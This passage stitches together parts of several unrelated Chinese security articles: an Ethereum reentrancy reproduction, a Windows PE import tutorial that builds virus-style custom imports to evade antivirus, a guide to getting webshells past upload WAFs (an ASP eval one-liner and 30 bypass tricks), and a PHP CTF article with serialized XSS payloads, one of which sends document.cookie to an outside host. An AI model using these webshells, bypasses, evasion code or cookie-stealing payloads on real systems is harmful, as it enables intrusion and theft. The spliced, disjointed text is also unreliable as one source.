比如说我先给a账户分配100%的通道余额，再在a账户合约fallback函数中改变通道分配率，又给b账户分配100%的余额，这样就成功套出了双倍的钱，而且攻击者可以一直套，直到掏空为止。
**攻击者Demo：**
Ps：为了节约gas，fallback函数中使用内联汇编来模拟调用updateSplit函数。
调用attack函数即可触发重入漏洞。
为什么说要EIP 1283生效才会产生漏洞呢，因为该合约使用transfer进行转账，transfer转账最多消耗2300 gas，在EIP
1283生效之前对变量进行更改再重置至少需要15000 gas，而生效后只需要400 gas，2300 gas上限已经足够做一些事情了。
## **三、** 漏洞复现
关于该漏洞的复现，ChainSecurity已经在Github上公开了。
先clone下来
git clone https://github.com/ChainSecurity/constantinople-reentrancy.git
然后README里面会告诉你怎么复现，不过在此之前先得把环境装好，需要环境：
\1. nodejs(stable)
\2. npm
a. truffle：npm install -g truffle
b. ganache-cli@beta：npm i -g ganache-cli@beta
不同的系统有不同的环境搭建方式，这里不再赘述，有了以上环境就可以进行复现了，运行以下命令：
ganache-cli --hardfork=constantinople
truffle test
运行结果：
在进行攻击之后成功增加攻击账户内的余额，复现完毕。
## 四、修复方案
修复方案预计应该会在以太坊君士坦丁堡中删除与EIP
1283有关的更新，目前以太坊开发者还在协商解决，不过笔者认为合约安全最终还是要合约来解决，不能依赖于公链本身，就像前面说的，只要合约采用的是最安全的写法便可以避免这次君士坦丁堡分叉带来的问题。
而且目前还没有检测出来有合约正好会触发这个重入漏洞，但不排除这种可能性。
## **参考链接**
* <https://medium.com/chainsecurity/constantinople-enables-new-reentrancy-attack-ace4088297d9>
* <https://github.com/ChainSecurity/constantinople-reentrancy>
* <https://eips.ethereum.org/EIPS/eip-1283>
* <https://eips.ethereum.org/EIPS/eip-1087>
* * * | 社区文章 |
# Windows调试艺术——导入函数和导出函数
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
windows调试艺术主要是记录我自己学习的windows知识，并希望尽可能将这些东西在某些实际方面体现出来。
所谓导入函数在很多人眼中是个非常简单的概念，无非就是把人家写好的函数拿过来用罢了，但实际上，导入一个函数是基于复杂的数据结构和加载机制的，不管是加壳脱壳还是病毒分析都离不开它，这篇文章主要是理顺整个pe文件导入函数相关的数据结构和导入过程，最后再结合windbg的调试尝试仿照病毒的编写实现我们自己的导入机制。
阅读本篇前建议先阅读以下两篇学习前置知识
[Windows调试艺术——利用LBR寻找dll基址](https://www.anquanke.com/post/id/173586)
[Windows调试艺术——断点和反调试（上）](https://www.anquanke.com/post/id/176532)
## 导入和导出函数
### 简单实例
所谓导入函数实际上就是我们将dll暴漏出来的导出函数拿过来为我们所用，当我们的程序加载到内存中后，其实并不能独立运行，因为我们有很多”窟窿”没有填上，这些”窟窿”也就是我们调用的自己并没有实际编写的、追根溯源实际上来自dll的函数，哪怕你的程序什么也没有做，单单是显示个黑窗（cmd）就退出，那初始化黑窗和退出其实也是dll中的函数完成的。
可以想象，必然是有人在我们程序执行时帮我们填上了这些”窟窿”，让我们能够正常使用这些函数。其实这个人就是windows的pe加载器，它在我们程序启动时就将相应的dll也加载入了该程序所对应的虚拟内存（注意，为了节约物理内存，如果有多个程序加载了同一个dll时，实际上物理上只有一份，但是相当于进入了不同程序的虚拟空间），然后将我们原来的函数地址替换成了真实的地址，我们可以通过一个真实的例子来看一下
程序很简单，就是malloc了0x20的空间，然后打印了一句话而已
push ebp
mov ebp, esp
and esp, 0FFFFFFF0h
sub esp, 20h
call ___main
mov dword ptr [esp], 20h ; size_t
call _malloc
mov [esp+1Ch], eax
mov dword ptr [esp+1Ch], offset aHelloWorld ; "hello world"
mov eax, [esp+1Ch]
mov [esp], eax ; char *
call _printf
mov eax, 0
leave
retn
我们点击我们自己并没有写的malloc函数，发现其call到一个jmp
; void *__cdecl malloc(size_t)
public _malloc
_malloc proc near
jmp ds:__imp__malloc
_malloc endp
我们可以用od动态看一下，在jmp指令下右键选择在数据窗口中跟随
可以看到jmp的地址是406124，而里面存放的数据显然是一个dll的地址，也就是76308730，我们再次跳转过去看看
实际上就是真实的malloc函数。
根据上面的过程我们可以看到，在调用一个函数的时候，会经历这样的过程
call --> jmp --> address(address里存放func地址) --> func
而在有大量函数的时候，这个address就成了一个巨大的表，由于这个表保存的是导入函数在内存中的真实地址，我们把这个表叫做导入函数地址表（import
address table），也就是IAT。在ida中我们顺着上面的操作就可以直观的看见IAT了。
### 导入函数的数据结构和机制
上面的机制看起来似乎是非常简单，就是维护了一张保存了函数的表，但仔细想想就会发现事情不那么容易，还有一堆需要解决的问题：程序加载器是怎么按照顺序将函数的真实地址填进去的呢？函数地址又是怎么和函数名称一一对应的呢？函数的地址又是通过什么找到的呢？
显然单纯的一张表解决不了这么多的问题，微软是怎么做的呢？笔者做了张整体的数据结构图，先从整体上来认识一下，之后我们在仔细说说每一部分
我们上面提到的IAT虽然在调试中里面的内容已经变成了函数的地址，叫做函数地址表，而实际上在程序未加载前它和INT是“双胞胎”，一模一样，都指向了另外一个数据结构。
INT叫做导入函数名表（import name
table），顾名思义，它指向的是就是函数的“名字”，只不过这名字可不单单只有malloc这么简单，它包含了函数名的字符串和函数名的号码（hint），字符串好理解，而hint其实就是一个标志，通过hint就可以在指定的dll中找到这个函数了（后面提到导出表的时候还会再用）。
而当程序开始加载时，程序加载器就会通过hint在dll中找到相应的函数地址，接着将IAT的本来指向函数名的指针替换成函数地址，这个过程也被形象的称为“断桥”（IAT和名字之前的联系被切断了），此时IAT和INT就“分道扬镳”了，但是由于他俩的切不断的“血亲”关系，他俩的每一项按照顺序还是一一对应的，也就是函数的名字依旧和函数地址对应，这就解决了我们上面提出的几个问题。
但新的问题就又来了，INT和IAT是组织的不错了，但是hint可是针对一个dll的啊，我一个程序有多个dll怎么办？有了多个dll我又怎么去找到指定的dll呢？很显然，还需要一个结构来管理dll的具体信息，这也就是表中最左边的一项——导入表了。
导入表（import
table），听着就比IAT和INT高上一级，它对于每一个dll都维护了一个Image_Import_Descriptor的结构，主要由以下几个部分构成：
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics;
DWORD OriginalFirstThunk; //该项指向INT
};
DWORD TimeDateStamp; //时间戳
DWORD ForwarderChain; //指向前一个IMAGE_IMPORT_DESCRIPTOR
DWORD Name; //dll的名字
DWORD FirstThunk; //该项指向IAT
} IMAGE_IMPORT_DESCRIPTOR;
ForwarderChain指向前一个descriptor，形成了一个单向链表结构，时间戳则是一个校验，如果之后出现的时间戳和这个不一致，就说明有人动手脚了，OriginalFirstThunk;指向了INT，FirstThunk则指向了IAT，也就是说，每个要导入的dll都对应着自己的INT和IAT，这样hint也就是相对于一个dll的了。
这样就完成了整个导入函数的基础工作，对于一个程序来说，需要一个dll就在导入表中添加一个DESCRIPTOR，这个dll的相关信息在Descriptor中保存，用到的函数的“名字”则被存在了INT和IAT中，但程序被载入内存时，dll也跟着载入，这时函数的地址已经确认，加载器通过“名字”找到地址，再将地址放入IAT中，而IAT和INT又是一一对应，从而完成了函数名和函数地址的一一对应。
下面我们利用010editor来实际看一下文件中的情况，PE文件中表的基础信息以结构体的形式存在Image_OptionalHeader下的Image_DataDirectory下，我们找到该项
其中第二项就是导入表，倒数第四项是导入地址表，我们打开导入表
结构体共两项，第一项是表的相对虚拟地址，第二项是表的size，va也就是VirtualAddress，也就是虚拟地址，是程序真实加载到内存时的地址，除了va之外，常用的还有rva和foa，rva是相对虚拟地址的意思，也就是相对于某个虚拟基址的地址，FOA则是在文件而不是载入内存的地址。
由于这里的是虚拟地址（也可以说是相对虚拟地址，因为它有参照物），我们要想找到它所对应的文件地址的位置还需要进行简单的换算。计算的思路如下：
* 通过RVA找到虚拟基址
* RVA – 虚拟基址 = 偏移offset
* 找到虚拟基址所对应的文件基址
* offset + 文件基址 = 文件地址
首先我们找到它对应的基址，我们可以通过peditor看一下
6000h显然在idata节，它的虚拟偏移是6000h，进入第二步，6000相对于6000的偏移是多少呢？很显然是0，也就是offset是0，再接着6000的虚拟偏移对应的文件偏移是1A00，我们用1A00加上offset也就是文件地址了。通过010Editor找到相应的地址
从这里开始010Editor就没法再帮我们解析数据了，但是没关系，前面我们已经将数据的结理得很详细了，并不能影响我们分析。
int : 0000 603c
timestamp : 0000 0000
forward : 0000 0000
name : 0000 632c
iat : 0000 60bc
这里的地址同样是RVA，按照上面的换算方法很容易找到相对应的文件地址
int : 1a3c
timestamp : 0000 0000
forward : 0000 0000
name : 1d2c
iat : 1abc
可以看到iat和int的值都是613c，继续按照换算公式得出文件地址为1b3c
我们就找到可之前所说的hint name结构了，同样在1d2c处我们可以看见dll的名字
说到这里基础的导入知识就结束了，但我们又会发现这样的导入机制还是存在问题的，可以想象下，如果我们的程序导入了多个dll，且每个dll都用了大量函数，那岂不是加载程序时要等待很长时间在修改IAT上吗？为了解决这个问题，微软给了两条路，一个是绑定导入表（bound
import table），一个是延迟导入表（delay import table）。
导入绑定表很简单，就是直接维护一张表，里面存放的函数地址直接就是va，它的原理其实很简单，因为dll加载的时候都会有个推荐的imageBase，如果按照这个基址加载了的话其实每个函数的虚拟地址也就是一定的了。
但是这个方法也有很大的问题，一旦发生dll没有按照推荐的imageBase加载的情况，那这张表里的地址就全部废了，还是得重新进行上面的操作，而这种情况又很常见，所以现在默认编译的程序都没有了这张表，可以在Data
Directory的第12项找到它的信息，可以看到在我们的程序中，它的va是0，也就是没有了。
另一条路叫做延迟导入表，这个方法可就科学多了，它的原理是指定一些dll不在程序开始时加载，只有当调用相应的函数时，才将该dll载入，这样就分散了导入的时间，极大提高了速度。同样，也可以在Data
Directory里找到该项，根据上面的换算大家可以自己找一下相应的数据，这里不在赘述
### 导出函数的数据结构和机制
还是先从整体看一下导出函数的数据结构，这里我只列举了经常要用到的结构，详细的结构体在下边会提到。
有了前面的讲解，这个结构就相当简单了。这次我们反过来从大到小，首先看最左边，是个类似import
Descriptor的东西，但是由于导出是相对于整个程序来说的，所以export的descriptor只有一个，它的name指向了程序的名字，base是个基址，我们的addressOfNameOrdinals指向的hint实际上的号码是hint
1减去base的值（号码也就是其他程序import时需要的号码），addressOfFunc指向了函数的地址，和AddressOfName一一对应。
可以看到export比起import更为简单，这里就不再演示在文件中的寻找了，可以参考上面的import自行操作。
另外大家可以尝试一个很有意思的操作：name和func地址是一一对应的，如果我们更换func地址中的两个值会发生什么呢？
## 病毒的导入机制
由于导入表、导入名表的存在，一旦病毒调用了被认为是“危险”的函数，那杀毒软件通过检测文件在病毒运行前就很轻易的可以逮住它。病毒作者自然不会坐以待毙，现在的病毒往往会自己实现导入机制来达到免杀的目的，我们下边就用一种最简单的方式实现我们自己导入函数来作为练习。
首先我们要明确思路：
### 利用windbg寻找dll的导出函数
在动手开始写代码之前，我们首先用windbg来调试一下明确一下思路
我们选择kernel32作为要测试的dll，lmvm命令来查看kernel32的详细信息，这里主要需要的是start的va，也可以记录一下时间戳来验证后面我们找到的结构是否正确。
dt用来以相应的结构体解析当前的地址，我们拿到dos头信息后，利用dos头中的e_lfanew来找到nt头的位置，即0x75250000+0n248，0x752500f8
接着计算op头的位置，即0x752500f8+0x18，0x75250110
DataDirectory我们上面说过，就是存储各种表的结构，我们找到它的位置，即0x75250110+0x60，75250170，同时到这里我们就失去了结构体的信息（因为接下来用到的结构体信息在ole32中，但是考虑到很多程序并不会加载这个dll，所以我们下边不用这些结构体信息了），export我们之前找过了，是第一个表，相当于偏移为0，我们直接打印这个地址的内容
按照上面的知识，第一个是export表的rva，第二个是size，我们根据rva算一下具体的地址，也就是972c0+75250000，即752e72c0
export descriptor的详细结构如下
+0x000 Characteristics
+0x004 TimeDateStamp
+0x008 MajorVersion
+0x00a MinorVersion
+0x00c Name // 模块的真实名称
+0x010 Base // 基数，加上序数就是函数地址数组的索引
+0x014 NumberOfFunctions // 指向的数组元素个数
+0x018 NumberOfNames // 指向的数组元素个数
+0x01c AddressOfFunctions // 指向函数地址
+0x020 AddressOfNames // 指向函数名字
+0x024 AddressOfNameOrdinals // 指向输出序号
我们打印一下相关信息
可以看到第二个字段时间戳和我们开始记录的一样，说明我们找对了，接着循环打印一下导出函数的名字
这条命令和c语言的for循环意思相同，循环的是（）里的dd打印出来的内容，循环做的操作就是{}的内容，$t0是windbg供我们自己使用的寄存器，相当于变量。
到这里我们就成功了，读者可以自己仿照上面的命令打印函数地址从而得到一一对应关系。
### 代码实现
病毒要实现自己的导入机制，那必须要能够将dll加载到内存中，这就需要LoadLibrary这个函数，这个函数在Kernel32.dll中，这个dll无论是哪个程序都会加载的，我们现在的首要任务就是要找到这个dll的导出表。
__asm{
mov eax, fs:[0x30]
mov eax, [eax + 0xc]
mov esi, [eax + 0x1c]
lods dword ptr ds : [esi]
mov eax, [eax + 0x8]
mov kernel_base, eax
ret
}
上面的代码如果看不懂的话，可以参考之前一篇《Windows调试艺术——利用LDR寻找dll基址》，里面详细说明了如何去寻找dll基址
我们定义自己的LoadLibrary，保证参数和原有的相同
TCHAR szLoadLibrary[] = "LoadLibraryA"
typedef HMODULE (WINAPI* _LoadLibrary)(
LPCTSTR lpFileName
);
_LoadLibrary MyLoadLibrary = (_LoadLibrary)0xFFFFFFFF;
我们按照上面windbg调试的过程来找到Image_export_directory
pe = *((DWORD*)(kernel_base + 0x3c));
pImage_export_directory = (PIMAGE_EXPORT_DIRECTORY)((*((DWORD*)(kernel_base + pe + 0x78))) + kernel_base);
接着直接拿到export的函数名地址和函数的个数
NumberOfFunc = pImage_export_directory->NumberOfFunctions;
AddressOfNames = pImage_export_directory->AddressOfNames + kernel_base;
接着循环遍历，因为名字和函数的地址是一一对应的，所以我们只需要找到和LoadLibrary名字相同offset，然后加上AddressOfFunctions的地址就可以了。
for (int i = 0; i<NumberOfFunc; i++)
{
szFunName = (TCHAR*)(*((DWORD*)(AddressOfNames + i * 4)) + kernel_base);
szSrcString = szLoadLibrary;
for (; *szSrcString == *szFunName && *szSrcString != 0; ++szSrcString, ++szFunName);
if (!(*szFunName - *szSrcString))
{
MyLoadLibrary = (_LoadLibrary)(*(((DWORD*)(pImage_export_directory->AddressOfFunctions + kernel_base)) + i) + kernel_base);
}
以同样的方法我们还可以拿到GetProcAddres函数，改函数能够指定dll名和func的名字拿到相应的函数，这样我们就可以随意拿到任何我们想要的函数，这里就不再赘述了。
当然这个机制还是有很大的缺陷，比如导入函数时结构太明显，很容易被逆向者识破；导入函数时需要函数名，还是会暴露敏感信息等等。随着今后的学习，我们还会一点点完善这个程序。 | 社区文章 |
原文链接：[先知技术社区](https://xianzhi.aliyun.com/forum/read/458.html)
作者：[Tr3jer_CongRong](www.Thinkings.org)
前文回顾：[我的WafBypass之道（SQL注入篇）](http://paper.seebug.org/218/)
## 0x00 前言
玩waf当然也要讲究循序渐进，姊妹篇就写文件上传好了，感觉也就SQLi和Xss的WafBypass最体现发散性思维的，而文件上传、免杀、权限提升这几点的Bypass更需要的是实战的经验。本文内容为沉淀下来的总结以及一些经典案例。想到哪写到哪，所以可能不是很全。创造姿势不易，且行且珍惜。（案例图不好上，毕竟是upload的Bypass，就直接上姿势）
阅读此文你会发现新老姿势都有，因为我是想系统的写一写，文件上无非就是结合各种特性或waf缺陷。辍写时想过一个问题，如何归拢哪些属于文件上传Bypass的范畴？打个比方：
上传正常.jpg的图片 #成功
上传正常.php #拦截
绕过.php文件的filename后进行上传 #成功
使用绕过了filename的姿势上传恶意.php #拦截
以上这么个逻辑通常来讲是waf检测到了正文的恶意内容。再继续写的话就属于免杀的范畴了，过于模糊并且跑题了，并不是真正意义上的文件上传Bypass，那是写不完的。
## 0x01 搞起
上传文件（歪脖骚）时waf会检查哪里？
请求的url
Boundary边界
MIME类型
文件扩展名
文件内容
常见扩展名黑名单：
asp|asa|cer|cdx|aspx|ashx|ascx|asax
php|php2|php3|php4|php5|asis|htaccess
htm|html|shtml|pwml|phtml|phtm|js|jsp
vbs|asis|sh|reg|cgi|exe|dll|com|bat|pl|cfc|cfm|ini
个人写的“稍微”全一点，实际上waf的黑名单就不一定这么全了。
测试时的准备工作：
* 什么语言？什么容器？什么系统？都什么版本？
* 上传文件都可以上传什么格式的文件？还是允许上传任意类型？
* 上传的文件会不会被重命名或者二次渲染？
## 0x02 容器特性
> 有些很老的特性其实也是最开始绕waf的基础，这里就一笔带过了。
Apache1.X 2.X解析漏洞：
Apache在以上版本中，解析文件名的方式是从后向前识别扩展名，直到遇见Apache可识别的扩展名为止。
Win2k3 + APACHE2.0.59 + PHP
IIS6.0两个解析缺陷：
* 目录名包含`.asp`、`.asa`、`.cer`的话，则该目录下的所有文件都将按照asp解析。例如：
* 文件名中如果包含`.asp;`、`.asa;`、`.cer;`则优先使用asp解析。例如：
有一点需要注意，如果程序会将上传的图片进行重命名的话就gg了。
Nginx解析漏洞：
* Nginx 0.5.*
* Nginx 0.6.*
* Nginx 0.7 <= 0.7.65
* Nginx 0.8 <= 0.8.37
以上Nginx容器的版本下，上传一个在waf白名单之内扩展名的文件shell.jpg，然后以shell.jpg.php进行请求。
* Nginx 0.8.41 – 1.5.6：
以上Nginx容器的版本下，上传一个在waf白名单之内扩展名的文件shell.jpg，然后以shell.jpg%20.php进行请求。
PHP CGI解析漏洞：
IIS 7.0/7.5
Nginx < 0.8.3
以上的容器版本中默认php配置文件cgi.fix_pathinfo=1时，上传一个存在于白名单的扩展名文件shell.jpg，在请求时以shell.jpg/shell.php请求，会将shell.jpg以php来解析。
多个Content-Disposition：
在IIS的环境下，上传文件时如果存在多个Content-Disposition的话，IIS会取第一个Content-Disposition中的值作为接收参数，而如果waf只是取最后一个的话便会被绕过。
Win2k8 + IIS7.0 + PHP
请求正文格式问题：
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream
正常的upload请求都是以上这样，然而这个格式也并非强制性的，在IIS6.0下如果我们换一种书写方式，把filename放在其他地方：
Win2k3 + IIS6.0 + ASP
结合.htaccess指定某些文件使用php来解析：
这个方法通常用于绕过waf黑名单的，配置该目录下所有文件都将其使用php来解析：
## 0x03 系统特性
Windows特殊字符：
当我们上传一个文件的filename为shell.php{%80-%99}时：
waf可能识别为.php{%80-%99}，就会导致被绕过。
Win2k8 + IIS7.0 + PHP
exee扩展名：
上传.exe文件通常会被waf拦截，如果使用各种特性无用的话，那么可以把扩展名改为.exee再进行上传。
NTFS ADS特性：
ADS是NTFS磁盘格式的一个特性，用于NTFS交换数据流。在上传文件时，如果waf对请求正文的`filename`匹配不当的话可能会导致绕过。
Windows在创建文件时，在文件名末尾不管加多少点都会自动去除，那么上传时filename可以这么写`shell.php......`也可以这么写`shell.php::$DATA.......`。
Win2k8 + IIS7.0 + PHP
## 0x04 waf缺陷
匹配过于严谨：
* 一个空格导致安全狗被绕过：
Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099
尝试在boundary后面加个空格或者其他可被正常处理的字符：
boundary =---------------------------4714631421141173021852555099
Win2k3 + IIS6.0 + ASP
* 以上也能说明一个问题，安全狗在上传文件时匹配各个参数都十分严谨，不过IIS6.0以上也变的严谨了，再看看其他的地方：
每次文件上传时的Boundary边界都是一致的：
Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099
Content-Length: 253
-----------------------------4714631421141173021852555099
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream
<%eval request("a")%>
-----------------------------4714631421141173021852555099--
但如果容器在处理的过程中并没有严格要求一致的话可能会导致一个问题，两段Boundary不一致使得waf认为这段数据是无意义的，可是容器并没有那么严谨：
Win2k3 + IIS6.0 + ASP
修改Content-Type的MIME类型：
Win2k3 + IIS6.0 + ASP
ASCII > 127的字符：
数据过长导致的绕过：
* waf如果对Content-Disposition长度处理的不够好的话可能会导致绕过，例如：
Win2k3 + IIS6.0 + ASP
* 基于文件名：
基于构造长文件名
如果web程序会将filename除了扩展名的那段重命名的话，那么还可以构造更多的点、符号等等。
* 特殊的长文件名：
文件名使用非字母数字，比如中文等最大程度的拉长，不行的话再结合一下其他的特性进行测试：
shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg
## 0x05 End
在这里放上个人之前总结的30个上传绕过姿势：
1. filename在content-type下面
2. .asp{80-90}
3. NTFS ADS
4. .asp...
5. boundary不一致
6. iis6分号截断asp.asp;asp.jpg
7. apache解析漏洞php.php.ddd
8. boundary和content-disposition中间插入换行
9. hello.php:a.jpg然后hello.<<<
10. filename=php.php
11. filename="a.txt";filename="a.php"
12. name=\n"file";filename="a.php"
13. content-disposition:\n
14. .htaccess文件
15. a.jpg.\nphp
16. 去掉content-disposition的form-data字段
17. php<5.3 单双引号截断特性
18. 删掉content-disposition: form-data;
19. content-disposition\00:
20. {char}+content-disposition
21. head头的content-type: tab
22. head头的content-type: multipart/form-DATA
23. filename后缀改为大写
24. head头的Content-Type: multipart/form-data;\n
25. .asp空格
26. .asp0x00.jpg截断
27. 双boundary
28. file\nname="php.php"
29. head头content-type空格:
30. form-data字段与name字段交换位置
文件上传Bypass可写的点不多，现有的姿势也不能拿出来讲（笑）重点在于上传文件时遇到waf能够准确判断所拦截的点，目光不能只盯在waf，更多的时注意后端的情况。往往是需要结合哪些语言/容器/系统版本“可以怎样”、“不可以怎样”。
PDF
版本下载：[wafbypass_upload.pdf](https://xianzhi.aliyun.com/forum/attachment/big_size/wafbypass_upload.pdf)
* * * | 社区文章 |
## 前言
在CTF题目中，好几次都遇到了利用 PHP 原生类进行XSS、反序列化、SSRF以及XXE的思路，一直想好好看一下 PHP 原生类在 CTF
中的利用，迫于生活xx拖了好久。今天终于有机会好好总结总结了。常遇到的几个 PHP 原生类有如下几个：
* Error
* Exception
* SoapClient
* DirectoryIterator
* SimpleXMLElement
下面我们根据这几个原生类的利用方式分别进行讲解。
> 文中若有不足之处，还请各位大佬多多点评。
>
> 我的博客：<https://whoamianony.top/>
## 使用 Error/Exception 内置类进行 XSS
### Error 内置类
* 适用于php7版本
* 在开启报错的情况下
Error类是php的一个内置类，用于自动自定义一个Error，在php7的环境下可能会造成一个xss漏洞，因为它内置有一个 `__toString()`
的方法，常用于PHP 反序列化中。如果有个POP链走到一半就走不通了，不如尝试利用这个来做一个xss，其实我看到的还是有好一些cms会选择直接使用
`echo <Object>` 的写法，当 PHP 对象被当作一个字符串输出或使用时候（如`echo`的时候）会触发`__toString`
方法，这是一种挖洞的新思路。
下面演示如何使用 Error 内置类来构造 XSS。
测试代码：
<?php
$a = unserialize($_GET['whoami']);
echo $a;
?>
（这里可以看到是一个反序列化函数，但是没有让我们进行反序列化的类啊，这就遇到了一个反序列化但没有POP链的情况，所以只能找到PHP内置类来进行反序列化）
给出POC：
<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);
?>
//输出: O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D
成功弹窗。
### Exception 内置类
* 适用于php5、7版本
* 开启报错的情况下
测试代码：
<?php
$a = unserialize($_GET['whoami']);
echo $a;
?>
给出POC：
<?php
$a = new Exception("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);
?>
//输出: O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
### [BJDCTF 2nd]xss之光
进入题目，首先通过git泄露拿到源码：
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
仅看到一个反序列化函数并没有给出需要反序列化的类，这就遇到了一个反序列化但没有POP链的情况，所以只能找到PHP内置类来进行反序列化。又发现有个echo，没得跑了，就是我们刚才演示的利用Error或Exception内置类进行XSS，但是查看一下题目的环境发现是PHP
5，所以我们要使用Exception类。
由于此题是xss，所以只要xss执行window.open()就能把flag带出来，所以POC如下：
<?php
$poc = new Exception("<script>window.open('http://de28dfb3-f224-48d4-b579-f1ea61189930.node3.buuoj.cn/?'+document.cookie);</script>");
echo urlencode(serialize($poc));
?>
得到payload如下：
/?yds_is_so_beautiful=O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A109%3A%22%3Cscript%3Ewindow.open%28%27http%3A%2F%2Fde28dfb3-f224-48d4-b579-f1ea61189930.node3.buuoj.cn%2F%3F%27%2Bdocument.cookie%29%3B%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
执行后，得到flag就在 cookie 中：
## 使用 Error/Exception 内置类绕过哈希比较
在上文中，我们已经认识了Error和Exception这两个PHP内置类，但对他们妙用不仅限于
XSS，还可以通过巧妙的构造绕过md5()函数和sha1()函数的比较。这里我们就要详细的说一下这个两个错误类了。
### Error 类
**Error** 是所有PHP内部错误类的基类，该类是在PHP 7.0.0 中开始引入的。
**类摘要：**
Error implements Throwable {
/* 属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 方法 */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string
final public getPrevious ( ) : Throwable
final public getCode ( ) : mixed
final public getFile ( ) : string
final public getLine ( ) : int
final public getTrace ( ) : array
final public getTraceAsString ( ) : string
public __toString ( ) : string
final private __clone ( ) : void
}
**类属性：**
* message：错误消息内容
* code：错误代码
* file：抛出错误的文件名
* line：抛出错误在该文件中的行数
**类方法：**
* [`Error::__construct`](https://www.php.net/manual/zh/error.construct.php) — 初始化 error 对象
* [`Error::getMessage`](https://www.php.net/manual/zh/error.getmessage.php) — 获取错误信息
* [`Error::getPrevious`](https://www.php.net/manual/zh/error.getprevious.php) — 返回先前的 Throwable
* [`Error::getCode`](https://www.php.net/manual/zh/error.getcode.php) — 获取错误代码
* [`Error::getFile`](https://www.php.net/manual/zh/error.getfile.php) — 获取错误发生时的文件
* [`Error::getLine`](https://www.php.net/manual/zh/error.getline.php) — 获取错误发生时的行号
* [`Error::getTrace`](https://www.php.net/manual/zh/error.gettrace.php) — 获取调用栈（stack trace）
* [`Error::getTraceAsString`](https://www.php.net/manual/zh/error.gettraceasstring.php) — 获取字符串形式的调用栈（stack trace）
* [`Error::__toString`](https://www.php.net/manual/zh/error.tostring.php) — error 的字符串表达
* [`Error::__clone`](https://www.php.net/manual/zh/error.clone.php) — 克隆 error
### Exception 类
**Exception** 是所有异常的基类，该类是在PHP 5.0.0 中开始引入的。
**类摘要：**
Exception {
/* 属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 方法 */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string
final public getPrevious ( ) : Throwable
final public getCode ( ) : mixed
final public getFile ( ) : string
final public getLine ( ) : int
final public getTrace ( ) : array
final public getTraceAsString ( ) : string
public __toString ( ) : string
final private __clone ( ) : void
}
**类属性：**
* message：异常消息内容
* code：异常代码
* file：抛出异常的文件名
* line：抛出异常在该文件中的行号
**类方法：**
* [`Exception::__construct`](https://www.php.net/manual/zh/exception.construct.php) — 异常构造函数
* [`Exception::getMessage`](https://www.php.net/manual/zh/exception.getmessage.php) — 获取异常消息内容
* [`Exception::getPrevious`](https://www.php.net/manual/zh/exception.getprevious.php) — 返回异常链中的前一个异常
* [`Exception::getCode`](https://www.php.net/manual/zh/exception.getcode.php) — 获取异常代码
* [`Exception::getFile`](https://www.php.net/manual/zh/exception.getfile.php) — 创建异常时的程序文件名称
* [`Exception::getLine`](https://www.php.net/manual/zh/exception.getline.php) — 获取创建的异常所在文件中的行号
* [`Exception::getTrace`](https://www.php.net/manual/zh/exception.gettrace.php) — 获取异常追踪信息
* [`Exception::getTraceAsString`](https://www.php.net/manual/zh/exception.gettraceasstring.php) — 获取字符串类型的异常追踪信息
* [`Exception::__toString`](https://www.php.net/manual/zh/exception.tostring.php) — 将异常对象转换为字符串
* [`Exception::__clone`](https://www.php.net/manual/zh/exception.clone.php) — 异常克隆
我们可以看到，在Error和Exception这两个PHP原生类中内只有 `__toString` 方法，这个方法用于将异常或错误对象转换为字符串。
我们以Error为例，我们看看当触发他的 `__toString` 方法时会发生什么：
<?php
$a = new Error("payload",1);
echo $a;
输出如下：
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}
